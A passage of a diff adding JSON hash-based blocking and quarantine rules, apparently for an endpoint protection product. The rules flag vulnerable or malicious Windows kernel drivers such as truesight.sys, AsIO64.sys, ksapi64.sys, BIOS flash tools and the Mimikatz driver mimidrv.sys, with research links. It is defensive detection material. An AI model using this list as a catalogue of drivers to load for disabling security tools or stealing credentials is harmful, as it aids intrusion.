+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153684Z",
+  "creation_date": "2026-03-23T11:45:31.153686Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f76f5ac7ad8f077092b85ed16912b99e7a0eb91497aea292f61d1a97e07884ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e6772ef-b3c0-5d88-9f4f-24e60b50fc35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836065Z",
+  "creation_date": "2026-03-23T11:45:30.836067Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836072Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38bd451bc3a296a3e108f7ed83a014f345f7e8415015628bd3ec223d6270ca70",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e71c5da-cd2b-55d9-a07f-c977be843837",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810794Z",
+  "creation_date": "2026-03-23T11:45:31.810797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810802Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd4108979f44c34a3c6ed06cc410117450fec087ecf77937e4fb588e26b73ed9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e7e36d1-d152-5ce7-9da1-913e65016526",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144003Z",
+  "creation_date": "2026-03-23T11:45:31.144005Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144011Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e2ba9f06829ee04a6d4b1653754e415ad39a01570919256df716c94e071f84d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e816d24-4d20-53bb-855f-300bd55c448e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822255Z",
+  "creation_date": "2026-03-23T11:45:31.822257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822263Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10e36a55afb19c4a9611d8370225173c57e377fb0f237606072190679f85c99e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e853c92-a543-557f-ad3b-c62cc50312f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970297Z",
+  "creation_date": "2026-03-23T11:45:29.970299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970304Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d30f51bfd62695df96ba94cde14a7fae466b29ef45252c6ad19d57b4a87ff44e",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5e890d91-f163-5fad-9d09-a28bbc1373ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488027Z",
+  "creation_date": "2026-03-23T11:45:31.488029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9da15be14ff7e1e78ff6d67649268a3d9fd117a04393f9ff972326ddd887257c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ea38312-59e4-5549-b217-16878e7edfa7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142808Z",
+  "creation_date": "2026-03-23T11:45:32.142810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142816Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "023d722cbbdd04e3db77de7e6e3cfeabcef21ba5b2f04c3f3a33691801dd45eb",
+  "comment": "Vulnerable ITM SYSTEM File Filter Driver (aka probmon.sys) [https://antonioparata.blogspot.com/2024/02/exploiting-vulnerable-minifilter-driver.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5eadf19d-24f4-52d0-997e-6a2492e56563",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621281Z",
+  "creation_date": "2026-03-23T11:45:29.621283Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621288Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b48a309ee0960da3caaaaf1e794e8c409993aeb3a2b64809f36b97aac8a1e62a",
+  "comment": "ASUSTeK vulnerable physmem driver (aka AsIO64.sys) [https://www.loldrivers.io/drivers/79692987-1dd0-41a0-a560-9a0441922e5a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5eb06983-a32e-5265-af41-1208746544b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816986Z",
+  "creation_date": "2026-03-23T11:45:31.816988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4fde22ee85f60c67ad4c5ff15df2c7609ad24a44ad45144e06461f64c5149df5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5eb23368-f54a-5725-a0b8-8bd15528379b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492923Z",
+  "creation_date": "2026-03-23T11:45:31.492925Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "825fd4c37680a98cc1855795a921536d4450776c731c2a71ecf28deb9d6e8188",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5eb7e638-80e1-547e-9bae-4a14f277255d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615082Z",
+  "creation_date": "2026-03-23T11:45:29.615084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615089Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3936d3356573ce2e472495cd3ce769f49a613e453b010433dafce5ea498ddc2",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5eb96b6c-a649-51bc-b76f-2f616e4fe36b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144055Z",
+  "creation_date": "2026-03-23T11:45:32.144057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28b39c57628cb12ca1bf2f531055c7d57008be5fd424aa691ecb648efe5768dd",
+  "comment": "Malicious Kernel Driver (aka driver_c3d48ddd.sys) [https://www.loldrivers.io/drivers/f6c08b8a-1d25-4bf1-9d4f-5368c1f6cfe7/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ebd7326-02b8-5c64-83e7-2aef25858e1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836594Z",
+  "creation_date": "2026-03-23T11:45:30.836597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cd13f392fc66286c0866f583edb8df3273057fe7848e2679aae5222dd09254b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ec7a5d0-8734-5b52-8c28-88af9bf496d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829394Z",
+  "creation_date": "2026-03-23T11:45:30.829396Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83cc4a85fce0635bed938e2ae866011c004192e0acdf1b1bb5ea03cfaa34fe3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ed1d32f-d554-5b7f-b87e-6942118e4c52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495151Z",
+  "creation_date": "2026-03-23T11:45:31.495153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "952b5e5ef69cf66a84baa52a13998ca5a038e51b6b31a6d281ee78eede0b9f30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ed7a61e-f252-50e1-b76f-b4eb1c1cc9a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142650Z",
+  "creation_date": "2026-03-23T11:45:32.142653Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31ce60480166e9ebef758b66f770f3fea86dd429da27fc5eed755c3d8c4e20fa",
+  "comment": "KingSoft Antivirus Security System Driver (aka ksapi64.sys and ksapi64_del.sys) [https://github.com/BlackSnufkin/BYOVD/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5eeb0bfe-767c-5408-a79e-aba661fd678b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466185Z",
+  "creation_date": "2026-03-23T11:45:30.466188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466197Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "818787057fc60ac8b957aa37d750aa4bace8e6a07d3d28b070022ee6dcd603ab",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f0a9012-e9bd-518e-870c-673e666967a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146764Z",
+  "creation_date": "2026-03-23T11:45:32.146766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c619a7fbb27940428b80129e0fa2d976fce52f93ab37667d2ca01330c6c561a5",
+  "comment": "Vulnerable Kernel Driver (aka isodrivep64.sys) [https://www.loldrivers.io/drivers/bd6490c2-20ea-441e-803c-bc3b957dae4c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f0aabf7-a6b4-5b12-b668-97d9f57b8b89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616622Z",
+  "creation_date": "2026-03-23T11:45:29.616624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616633Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20f11a64bc4548f4edb47e3d3418da0f6d54a83158224b71662a6292bf45b5fb",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f162aad-7874-5e3d-b6d2-aa27ec1dcd86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616133Z",
+  "creation_date": "2026-03-23T11:45:29.616135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cde02c7db90626bcfbfbbc1315d4ce18d4f15667fa57c16b9ac2b060507c62ad",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f208f91-7acf-5630-b8be-932b0e8104a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817711Z",
+  "creation_date": "2026-03-23T11:45:31.817713Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ef4a29303fadaebafa0370682a25ab16e9723ebb109c88d1c83764140c4256d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f31e738-5c01-57ff-ad46-1bddd804e8f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827160Z",
+  "creation_date": "2026-03-23T11:45:30.827162Z",
+  "enabled": true,
+  "block_on_agent": true,
